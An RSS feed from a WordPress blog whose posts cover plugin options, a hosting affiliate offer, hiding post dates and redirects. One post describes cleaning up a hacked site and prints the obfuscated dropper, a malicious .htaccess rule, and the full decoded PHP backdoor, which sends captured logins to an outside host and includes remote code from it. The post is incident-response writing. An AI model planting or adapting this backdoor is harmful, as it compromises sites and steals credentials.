<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>I Like WordPress! &#187; On WordPress</title>
	<atom:link href="http://ilikewordpress.com/category/on-wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://ilikewordpress.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Mon, 06 Sep 2010 21:21:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>WordPress Plugins &#8211; Using the Options Table Properly</title>
		<link>http://ilikewordpress.com/324/wordpress-plugins-using-the-options-table-properly/</link>
		<comments>http://ilikewordpress.com/324/wordpress-plugins-using-the-options-table-properly/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 16:02:52 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[WordPress plugins]]></category>
		<category><![CDATA[best practice]]></category>
		<category><![CDATA[developers]]></category>
		<category><![CDATA[options]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[wp options]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=324</guid>
		<description><![CDATA[Note: if you&#8217;re not a WordPress plugin developer, this probably won&#8217;t interest you. I ran across this again today, hence my rant: I installed a plugin from the WordPress Plugin Repository ( the place that hosts WordPress plugins so you can download them ), THEN looked through the code. This small specialty plugin added 17 [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=WordPress+Plugins+-+Using+the+Options+Table+Properly+http://is.gd/diRjS+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=147' alt='' /></a></div>
<p>Note: if you&#8217;re not a WordPress plugin developer, this probably won&#8217;t interest you.</p>
<p>I ran across this again today, hence my rant:</p>
<p>I installed a plugin from the WordPress Plugin Repository ( the place that hosts WordPress plugins so you can download them ), THEN looked through the code. This small specialty plugin <strong>added 17 options</strong> to the options table!</p>
<p>WP developer peeps, there is no excuse for this. By adding so many options, you clog up the options table. Unless you specify the option as an autoload, you&#8217;re using a database read every time you call get_option(). What a waste!</p>
<p>What should you do instead? Glad you asked!</p>
<p>Combine your options into an array. Easy smeasy. WordPress will store your options array as serialized data. Return get_option() to a variable at the start of your script, giving you easy access to all its components.</p>
<p>The WordPress core is getting sizable enough that responsible developers need to optimize their code as much as possible. Eliminating unnecessary database reads/writes is a good first step.</p>
<p>If you need an example, leave a comment and I&#8217;ll post one.</p>
<p>EDIT: as requested, here&#8217;s a couple of examples. First, what many developers do but <strong>shouldn&#8217;t</strong>:</p>
<pre class="brush: php;">

$myoption1 = &quot;ted&quot;;
$myoption2 = &quot;fred&quot;;
$myoption3 = &quot;jed&quot;;

update_option( 'myoption1', $myoption1);
update_option( 'myoption2', $myoption2);
update_option( 'myoption3', $myoption3);
</pre>
<p>Notice how the above uses <strong>3 different options</strong>: myoption1, myoption2, myoption3. These take up 3 rows in the database, and require 3 different calls to get_option() when the data is needed. Now, 3 isn&#8217;t very many &#8211; but consider when your plugin uses 30 or 40 different options or presets ( some of mine do ). The potential to clutter up the database and cause a slowdown in your page load times is huge.</p>
<p>Here&#8217;s how you <strong>should</strong> code your options:</p>
<pre class="brush: php;">

$myoptions = array( 'option1' =&gt; 'ted', 'option2' =&gt; 'fred', 'option3' =&gt; 'jed');
update_option( 'myoption', $myoptions );
</pre>
<p>And that&#8217;s all there is to it. The update_option function recognizes that you are passing an array and serializes the values for entry in the database. When you need to retrieve the options, simply call get_option into an array variable, and access from there. One call, 40 options. Lotsa overhead saved <img src='http://ilikewordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<pre class="brush: php;">

$myoptions = get_option( 'myoption');

/*
now, $myoptions['option1'] = 'ted', $myoptions['option2'] = 'fred', and so on.
*/
</pre>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>147 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=WordPress+Plugins+-+Using+the+Options+Table+Properly+http://is.gd/diRjS+from:+@steveinidaho'>Tweet this post</a>) </div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/324/wordpress-plugins-using-the-options-table-properly/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Free Month Web Hosting from HostGator</title>
		<link>http://ilikewordpress.com/319/free-month-web-hosting-from-hostgator/</link>
		<comments>http://ilikewordpress.com/319/free-month-web-hosting-from-hostgator/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 20:03:13 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[Blogging in General]]></category>
		<category><![CDATA[Hosting]]></category>
		<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[add-on domains]]></category>
		<category><![CDATA[free web hosting]]></category>
		<category><![CDATA[HostGator]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[multiple domains]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[web hosting]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=319</guid>
		<description><![CDATA[I don&#8217;t put my stamp of approval on too many things, but I do need to tell you about the hosting that I use and highly recommend &#8211; HostGator. I have been on the web for over 10 years now, and seen a lot of hosting companies come and go, and used several. Never have [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Free+Month+Web+Hosting+from+HostGator+http://is.gd/dbKL5+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=65' alt='' /></a></div>
<p>I don&#8217;t put my stamp of approval on too many things, but I do need to tell you about the hosting that I use and highly recommend &#8211; <a href="/hostgator">HostGator</a>.</p>
<p>I have been on the web for over 10 years now, and seen a lot of hosting companies come and go, and used several. Never have I had the experience that I have had with <a href="/hostgator">HostGator</a>. It&#8217;s been, in a word, fantastic.</p>
<div id="attachment_320" class="wp-caption alignleft" style="width: 125px">
	<a href="/hostgator"><img class="size-full wp-image-320" title="hostgator125x125" src="http://ilikewordpress.com/wp-content/uploads/2010/07/hostgator125x125.gif" alt="" width="125" height="125" /></a>
	<p class="wp-caption-text">Remember to use the coupon code &quot;ILIKEWORDPRESS&quot; for your first month free!</p>
</div>
<h4>Support</h4>
<p>Number one, their support has been great. I have experienced a handful of isolated problems over the last 3 years I&#8217;ve been with them, and all were handled promptly, professionally, and <strong>FAST</strong>. There&#8217;s nothing worse than having a client call in the middle of the night crying, &#8220;my site is down!&#8221; In those situations, I need the problem handled quickly, and <a href="/hostgator">HostGator</a> has never let me down.</p>
<h4>Features</h4>
<p>What a hosting company can do for me is important. I need technical goodies, I need plenty of bandwidth and storage space, and I don&#8217;t need to be nitpicked over how many databases I use. HostGator shines in that department. Unlimited storage, unlimited domains, unlimited bandwidth, unlimited MySQL databases. Of course, &#8216;unlimited&#8217; doesn&#8217;t always mean <em><strong>unlimited</strong></em>. If your account starts hogging server resources, you&#8217;ll garner some attention.</p>
<p>That said, I&#8217;ve never had it be an issue. On one of my Baby accounts, I run 35 sites. Admittedly, they&#8217;re not high-volume super popular sites, but they get their share of traffic.</p>
<h4>Special Deal for ILikeWordPress.com readers</h4>
<p>HostGator has allowed me to offer you a special deal! Use the coupon code &#8220;ILIKEWORDPRESS&#8221; and get your first month&#8217;s Baby plan hosting for only $0.01!! That&#8217;s right &#8211; ONE PENNY. How cool is that?</p>
<p>Go ahead and get signed up &#8211; click any of the links to <a href="/hostgator">go to HostGator</a>, or one of the banners, and remember to use coupon code ILIKEWORDPRESS at checkout for your discount!</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>65 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Free+Month+Web+Hosting+from+HostGator+http://is.gd/dbKL5+from:+@steveinidaho'>Tweet this post</a>) </div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/319/free-month-web-hosting-from-hostgator/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Hide Blog Post Date In Your WordPress Theme</title>
		<link>http://ilikewordpress.com/304/hide-blog-post-date-in-your-wordpress-theme/</link>
		<comments>http://ilikewordpress.com/304/hide-blog-post-date-in-your-wordpress-theme/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 20:25:33 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=304</guid>
		<description><![CDATA[While visiting Lynn Terry&#8217;s Clicknewz blog, I noticed something that I hadn&#8217;t really given a lot of thought to: is there a reason to NOT display a blog post&#8217;s date? (Off-Topic Warning &#8211; Lynn writes a fantastic blog on Internet Marketing with posts like Taking Daily Action: Huge Goals, Little Steps &#8211; you really should [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Hide+Blog+Post+Date+In+Your+WordPress+Theme+http://is.gd/d2vko+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=tweet' alt='' /></a></div>
<p>While visiting <a href="http://www.clicknewz.com/">Lynn Terry&#8217;s Clicknewz</a> blog, I noticed something that I hadn&#8217;t really given a lot of thought to: is there a reason to NOT display a blog post&#8217;s date? (<strong>Off-Topic Warning</strong> &#8211; Lynn writes a fantastic blog on Internet Marketing with posts like <a href="http://www.clicknewz.com/2226/taking-daily-action/">Taking Daily Action: Huge Goals, Little Steps</a> &#8211; you really should check it out if you&#8217;re interested in making money on the net)</p>
<p>Anyway, Lynn doesn&#8217;t display post dates on her blog posts except for some of the archive listings. After checking out quite a few other blogs, I see that somewhere around 25% of bloggers do NOT put dates on their posts.</p>
<p>After communing with the great and powerful Google, I found this post by Darren Rowse of ProBlogger: <a href="http://www.problogger.net/archives/2008/07/22/dates-on-blogs/">Dates on Blog Posts – Should You Have Them?</a> where he discusses the question at length.</p>
<p>I&#8217;m not going to get into the question of whether you should or shouldn&#8217;t display the date on your blog posts other than to say that personally, I find it annoying when I can&#8217;t find a post date. Knowing when a piece was written adds a certain relevance to my consideration of the post content.</p>
<p>One of the suggestions Darren made was to display the date only on recent posts:</p>
<blockquote><p><strong>Dates on Recent Posts But Not on Older Ones </strong>- I saw one  blogger do this last year (I’m afraid I don’t remember who it was).  They had hacked WordPress so that dates appeared on recent posts (within  the last 3 months) but anything older than that did not have time  stamps either on the post or comments. This meant that the blogger  benefited from new posts looking new and took the potential distraction  of old posts away from readers. I don’t know exactly how the blogger did  it but presume they set up a rule that looked at the date of authorship  and then determined whether the date would be displayed or not.</p></blockquote>
<p>The &#8216;hack&#8217; that Darren mentions is actually pretty easy, if you&#8217;re comfortable modifying your theme files. Using WordPress&#8217;s new &#8220;twentyten&#8221; theme that comes packed with <a href="http://wordpress.org/download/">WordPress 3.0</a>, I&#8217;ll show you exactly what you have to do to show the post dates on single posts only if they&#8217;re fresher than 3 months old. 3 months is an arbitrary figure, by the way, so adjust it to whatever spins your prop.</p>
<p><strong>Note</strong>: the new twentyten theme wraps up the post meta information ( date, author, etc.) into a function. When you disable this function, you&#8217;ll lose that line completely, exactly like Lynn&#8217;s posts.</p>
<p>I recommend that you do NOT use the built-in theme editor in WordPress, especially when you&#8217;re messing around with PHP coding. One misplaced semi-colon and you could render your blog DOA. Then the only cure is to use an FTP client and replace the screwed-up theme file. If you <strong>MUST </strong>use the built-in editor, be certain that you have a clean backup of the file you&#8217;re working on!</p>
<p>So, step one: locate the single.php file within the twentyten theme folder and <strong>make a backup</strong>.</p>
<p>Open single.php in your fav text editor. The section that holds the meta display code begins on line 25 and looks like this (disregard the line #s in the examples that follow):</p>
<pre class="brush: php;">
&lt;div class=&quot;entry-meta&quot;&gt;
  &lt;?php twentyten_posted_on(); ?&gt;
&lt;/div&gt;&lt;!-- .entry-meta --&gt;
</pre>
<p>What we&#8217;re going to do is to insert a test &#8211; is the post less than 90 days old? If so, display the post particulars. If not, leave it blank.</p>
<p>To do that, we&#8217;ll use a simple &#8216;if&#8217; statement, comparing the date 90 days ago with that of the post. We will use PHP&#8217;s useful strtotime() date conversion function to make things easy:</p>
<pre class="brush: php;">
&lt;?php
if ( strtotime( get_the_date() ) &gt; strtotime( &quot;90 days ago&quot; ) ) {
?&gt;
&lt;div class=&quot;entry-meta&quot;&gt;
 &lt;?php twentyten_posted_on(); ?&gt;
&lt;/div&gt;
&lt;?php
 }
 ?&gt;
</pre>
<p>The <a href="http://us2.php.net/manual/en/function.strtotime.php">strtotime()</a> function converts whatever is in the parentheses to a Unix timestamp. The function <a href="http://codex.wordpress.org/Template_Tags/get_the_date">get_the_date()</a> is a new WordPress 3.0 function that fetches the post date and returns it in the format specified in your preferences.</p>
<p>And there you have it &#8211; no more dates on posts older than 90 days old.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>No TweetBacks yet.</strong> (<a href='http://twitter.com/home?status=Hide+Blog+Post+Date+In+Your+WordPress+Theme+http://is.gd/d2vko+from:+@steveinidaho'>Be the first to Tweet this post</a>)</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/304/hide-blog-post-date-in-your-wordpress-theme/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Cleaning Up the Aftermath of a Hacker Attack</title>
		<link>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/</link>
		<comments>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 17:52:28 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>
		<category><![CDATA[WordPress Security]]></category>
		<category><![CDATA[hack attack]]></category>
		<category><![CDATA[malicious files]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=278</guid>
		<description><![CDATA[The same project that led to the post Loading WordPress From index.php involved cleaning up after a hacking incident. In fact, that&#8217;s what the initial work order was for. This blog was hit recently by the same attack that has been in the news for the last few days. Lorelle on WordPress wrote some things [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Cleaning+Up+the+Aftermath+of+a+Hacker+Attack+http://is.gd/35gKN+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=564' alt='' /></a></div>
<p>The same project that led to the post <a href="http://ilikewordpress.com/274/loading-wordpress-from-index-php/">Loading WordPress From index.php</a> involved cleaning up after a hacking incident. In fact, that&#8217;s what the initial work order was for.</p>
<p>This blog was hit recently by the same attack that has been in the news for the last few days. <a href="http://lorelle.wordpress.com/2009/09/04/old-wordpress-versions-under-attack/">Lorelle on WordPress</a> wrote some things about it:</p>
<blockquote><p>There are two clues that your WordPress site has been attacked.</p>
<p>There are strange additions to the pretty permalinks, such as <code>example.com/category/post-title/%&amp;(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&amp;%/</code>. The keywords are “eval” and “base64_decode.”</p>
<p>The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize. You will probably be unable to access that account, but <a title="Journey Etc - WordPress Permalink RSS Problems" href="http://www.journeyetc.com/2009/09/04/wordpress-permalink-rss-problems/">Journey Etc. has a possible solution</a>.</p></blockquote>
<p>This blog was different in that there were no other admin accounts created. The same code was appearing in permalinks ( and was, indeed, shown in Settings -&gt; Permalinks ).</p>
<p>Another symptom of this type of general attack are posts that are filled with spam links enclosed within HTML comment tags. You&#8217;ll not see them, but Google does.</p>
<p>Looking a little deeper, I found evidence of <em><strong>another </strong></em>previous hack job. The server error log contained hundreds of these entries:<span id="more-278"></span></p>
<pre class="brush: plain;">
[Wed Sep  8 11:40:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/downlaod.nod.32.php
[Wed Sep  8 11:38:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/instalation.com.php
[Wed Sep  8 11:38:04 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/muonline.win_mu.php
[Wed Sep  8 11:36:19 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/DV-driver.crack.php
[Wed Sep  8 11:35:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/koolmoves.5.key.php
[Wed Sep  8 11:34:34 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/inurl:.free.xxx.php
[Wed Sep  8 11:33:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crak.do.flash.5.php
[Wed Sep  8 11:32:23 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/wow.1.10.2.enus.php
[Wed Sep  8 11:31:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/torrent.stylexp.php
[Wed Sep  8 11:28:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crack.for.harry.php
</pre>
<p>WTF? 66.249.71.154, according to reverse IP lookup, is Googlebot. Why is Googlebot trying to load these files? Still haven&#8217;t found the answer to THAT question. But what I find next begins to shed some light&#8230;</p>
<p>I poke around in the filesystem, and I find a number of folders within the WordPress wp-content folder that had extra files added to them (including the plugins/podpress folder):</p>
<p>.htaccess<br />
date.php<br />
time.php<br />
include.php</p>
<p>The filenames between the folders were all different, with the exception that they all had an .htaccess file. Here&#8217;s what was in .htaccess file in the wp-content/header folder:</p>
<pre class="brush: plain;">
Options -MultiViews

ErrorDocument 404 //wp-content/header/time.php
</pre>
<p>So what&#8217;s happening is that any request for http://domain.com/wp-content/themes/header/anyfilename.php would result in time.php being served as the 404 page.</p>
<p>And time.php (along with all the other added php files) is a nasty little bugger:</p>
<pre class="brush: php;">

&lt;?php
error_reporting(0);
$p=&quot;bcjihzzazbzgc&quot;;
eval(base64_decode(&quot;Y2xhc3MgbmV3aH... more characters here, several K's worth ... R0cHsNCnZhciAkZnVsbX0=&quot;));
?&gt;
</pre>
<p>So the code turns off error reporting, then says to eval (run) the code enclosed in quote marks after base64 decoding. I haven&#8217;t taken the time to figure out what the class that the file defines <strong>does</strong>, but somehow I don&#8217;t think it&#8217;s anything nice. After decoding, this is the file contents:</p>
<pre class="brush: php;">

&lt;?php
class newhttp {var $fullurl;var $p_url;var $conn_id;var $flushed;var $mode = 4;var $defmode;var $redirects = 0;var $binary;var $options;var $stat = array('dev' =&gt; 0,'ino' =&gt; 0,'mode' =&gt; 0,'nlink' =&gt; 1,'uid' =&gt; 0,'gid' =&gt; 0,'rdev' =&gt; -1,'size' =&gt; 0,'atime' =&gt; 0,'mtime' =&gt; 0,'ctime' =&gt; 0,'blksize' =&gt; -1,'blocks' =&gt; 0);
function error($msg='not connected') {if ($this-&gt;options &amp; STREAM_REPORT_ERRORS) {trigger_error($msg, E_USER_WARNING);}return false;}
function stream_open($path, $mode, $options, $opened_path) {$this-&gt;fullurl = $path;$this-&gt;options = $options;$this-&gt;defmode = $mode;$url = parse_url($path);if (empty($url['host'])) {return $this-&gt;error('missing host name');}$this-&gt;conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);if (!$this-&gt;conn_id) {return false;} if (empty($url['path'])) {$url['path'] = '/';}$this-&gt;p_url = $url;$this-&gt;flushed = false;if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {$this-&gt;mode += 2;}$this-&gt;binary = (strpos($mode, 'b') !== false);$c = $this-&gt;context();if (!isset($c['method'])) {stream_context_set_option($this-&gt;context, 'http', 'method', 'GET');}if (!isset($c['header'])) {stream_context_set_option($this-&gt;context, 'http', 'header', '');}if (!isset($c['user_agent'])) {stream_context_set_option($this-&gt;context, 'http', 'user_agent', ini_get('user_agent'));}if (!isset($c['content'])) {stream_context_set_option($this-&gt;context, 'http', 'content', '');}if (!isset($c['max_redirects'])) {stream_context_set_option($this-&gt;context, 'http', 'max_redirects', 5);}return true;}
function stream_close() { if ($this-&gt;conn_id) { fclose($this-&gt;conn_id);$this-&gt;conn_id = null;} }
function stream_read($bytes) { if (!$this-&gt;conn_id) { return $this-&gt;error();} if (!$this-&gt;flushed &amp;&amp; !$this-&gt;stream_flush()) { return false;} if (feof($this-&gt;conn_id)) { return '';} $bytes = max(1,$bytes);if ($this-&gt;binary) { return fread($this-&gt;conn_id, $bytes);} else { return fgets($this-&gt;conn_id, $bytes);} }
function stream_write($data) { if (!$this-&gt;conn_id) { return $this-&gt;error();} if (!$this-&gt;mode &amp; 2) { return $this-&gt;error('Stream is in read-only mode');} $c = $this-&gt;context();stream_context_set_option($this-&gt;context, 'http', 'method', (($this-&gt;defmode[0] == 'x') ? 'PUT' : 'POST'));if (stream_context_set_option($this-&gt;context, 'http', 'content', $c['content'].$data)) { return strlen($data);} return 0;}
function stream_eof() { if (!$this-&gt;conn_id) { return true;} if (!$this-&gt;flushed) { return false;} return feof($this-&gt;conn_id);}
function stream_seek($offset, $whence) { return false;}
function stream_tell() { return 0;}
function stream_flush() { if ($this-&gt;flushed) { return false;} if (!$this-&gt;conn_id) { return $this-&gt;error();} $c = $this-&gt;context();$this-&gt;flushed = true;$RequestHeaders = array($c['method'].' '.$this-&gt;p_url['path'].(empty($this-&gt;p_url['query']) ? '' : '?'.$this-&gt;p_url['query']).' HTTP/1.0', 'HOST: '.$this-&gt;p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );if (!empty($c['header'])) { $RequestHeaders[] = $c['header'];} if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this-&gt;binary ? 'application/octet-stream' : 'text/plain');} else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';} $RequestHeaders[] = 'Content-Length: '.strlen($c['content']);} $RequestHeaders[] = 'Connection: close';if (fwrite($this-&gt;conn_id, implode(&quot;\r\n&quot;, $RequestHeaders).&quot;\r\n\r\n&quot;) === false) { return false;} if (!empty($c['content']) &amp;&amp; fwrite($this-&gt;conn_id, $c['content']) === false) { return false;} global $http_response_header;$http_response_header = fgets($this-&gt;conn_id, 300);$data = rtrim($http_response_header);preg_match('#.* ([0-9]+) (.*)#i', $data, $head);if (($head[1] &gt;= 301 &amp;&amp; $head[1] &lt;= 303) || $head[1] == 307) { $data = rtrim(fgets($this-&gt;conn_id, 300));while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data));break;} $data = rtrim(fgets($this-&gt;conn_id, 300));} trigger_error($this-&gt;fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);$this-&gt;stream_close();return ($c['max_redirects'] &gt; $this-&gt;redirects++ &amp;&amp; $this-&gt;stream_open($new_location, $this-&gt;defmode, $this-&gt;options, null) &amp;&amp; $this-&gt;stream_flush());} $data = rtrim(fgets($this-&gt;conn_id, 1024));while (!empty($data)) { $http_response_header .= $data.&quot;\r\n&quot;;if (strpos($data,'Content-Length: ') !== false) { $this-&gt;stat['size'] = trim(str_replace('Content-Length: ', '', $data));} elseif (strpos($data,'Date: ') !== false) { $this-&gt;stat['atime'] = strtotime(str_replace('Date: ', '', $data));} elseif (strpos($data,'Last-Modified: ') !== false) { $this-&gt;stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));} $data = rtrim(fgets($this-&gt;conn_id, 1024));} if ($head[1] &gt;= 400) { trigger_error($this-&gt;fullurl.' '.$head[2], E_USER_WARNING);return false;} if ($head[1] == 304) { trigger_error($this-&gt;fullurl.' '.$head[2], E_USER_NOTICE);return false;} return true;}
function stream_stat() { $this-&gt;stream_flush();return $this-&gt;stat;}
function dir_opendir($path, $options) { return false;}
function dir_readdir() { return '';}
function dir_rewinddir() { return '';}
function dir_closedir() { return;}
function url_stat($path, $flags) { return array();}
function context() { if (!$this-&gt;context) { $this-&gt;context = stream_context_create();} $c = stream_context_get_options($this-&gt;context);return (isset($c['http']) ? $c['http'] : array());}}
if(isset($_POST[&quot;l&quot;]) and isset($_POST[&quot;p&quot;])){if(isset($_POST[&quot;input&quot;])){$user_auth=&quot;&amp;l=&quot;.base64_encode($_POST[&quot;l&quot;]).&quot;&amp;p=&quot;.base64_encode(md5($_POST[&quot;p&quot;]));} else {$user_auth=&quot;&amp;l=&quot;.$_POST[&quot;l&quot;].&quot;&amp;p=&quot;.$_POST[&quot;p&quot;];}} else {$user_auth=&quot;&quot;;}if(!isset($_POST[&quot;log_flg&quot;])){$log_flg=&quot;&amp;log&quot;;}$rkht=1;if(version_compare(PHP_VERSION,'5.2','&gt;=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}$v=$p.base64_decode(&quot;LnVzZXJzLmJpc2hlbGwucnU=&quot;).&quot;/?r_addr=&quot;.sprintf(&quot;%u&quot;, ip2long(getenv(&quot;REMOTE_ADDR&quot;))).&quot;&amp;url=&quot;.base64_encode($_SERVER[&quot;SERVER_NAME&quot;].$_SERVER[&quot;REQUEST_URI&quot;]).$user_auth.$log_flg;if($rkht==1){if(!@include_once(base64_decode(&quot;aHR0cDovLw==&quot;).$v)){}}else{stream_wrapper_register('http2','newhttp');if(!@include_once(base64_decode(&quot;aHR0cDI6Ly8=&quot;).$v)){}}
?&gt;
</pre>
<p>Anyway, that&#8217;s what I found, that&#8217;s what I had to clean up. <strong>Six and a half hours</strong> to go through all of the files looking for this thing, cleaning up as I went.</p>
<p>UPDATE:</p>
<p>Since writing this post, I&#8217;ve completed 4 more site cleanups &#8212; each averaging over 4 hours. Gets rather expensive, guys and girls.</p>
<p>Please keep your WordPress installs up to date. That&#8217;s the most efficient way to guard against this kind of maliciousness.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>564 Total TweetBacks:</strong> (<a href='http://twitter.com/home?status=Cleaning+Up+the+Aftermath+of+a+Hacker+Attack+http://is.gd/35gKN+from:+@steveinidaho'>Tweet this post</a>) </div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/278/cleaning-up-the-aftermath-of-a-hacker-attack/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Loading WordPress From index.php</title>
		<link>http://ilikewordpress.com/274/loading-wordpress-from-index-php/</link>
		<comments>http://ilikewordpress.com/274/loading-wordpress-from-index-php/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 16:31:13 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[On WordPress]]></category>
		<category><![CDATA[PHP goodies]]></category>
		<category><![CDATA[Troubleshooting WordPress issues]]></category>
		<category><![CDATA[WordPress plugins]]></category>
		<category><![CDATA[duplicate content]]></category>
		<category><![CDATA[index files]]></category>
		<category><![CDATA[url rewriting]]></category>
		<category><![CDATA[wordpress redirect]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=274</guid>
		<description><![CDATA[One of WordPress&#8217; strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, http://domain-name.com/index.php, and the other as the plain domain name: http://domain-name.com. Note that this is a [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Loading+WordPress+From+index.php+http://is.gd/359Fo+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=176' alt='' /></a></div>
<p>One of WordPress&#8217; strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong>, and the other as the plain domain name: <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. Note that this is a different problem than the trailing slash problem ( <strong><span style="color: #e7847e;">http://domain-name.com/</span></strong> vs. <strong><span style="color: #e7847e;">http://domain-name.com</span></strong> ) which WordPress also takes care of.</p>
<p>WordPress handles the index.php problem by rewriting requests for <strong><span style="color: #e7847e;">http://domain-name.com/index.php</span></strong> to <strong><span style="color: #e7847e;">http://domain-name.com</span></strong>. All well and good, and beneficial for most sites.</p>
<p>But that rewriting/redirecting caused some problems on a site I was working on yesterday, and once I figured out how, it was a relatively easy fix.<span id="more-274"></span></p>
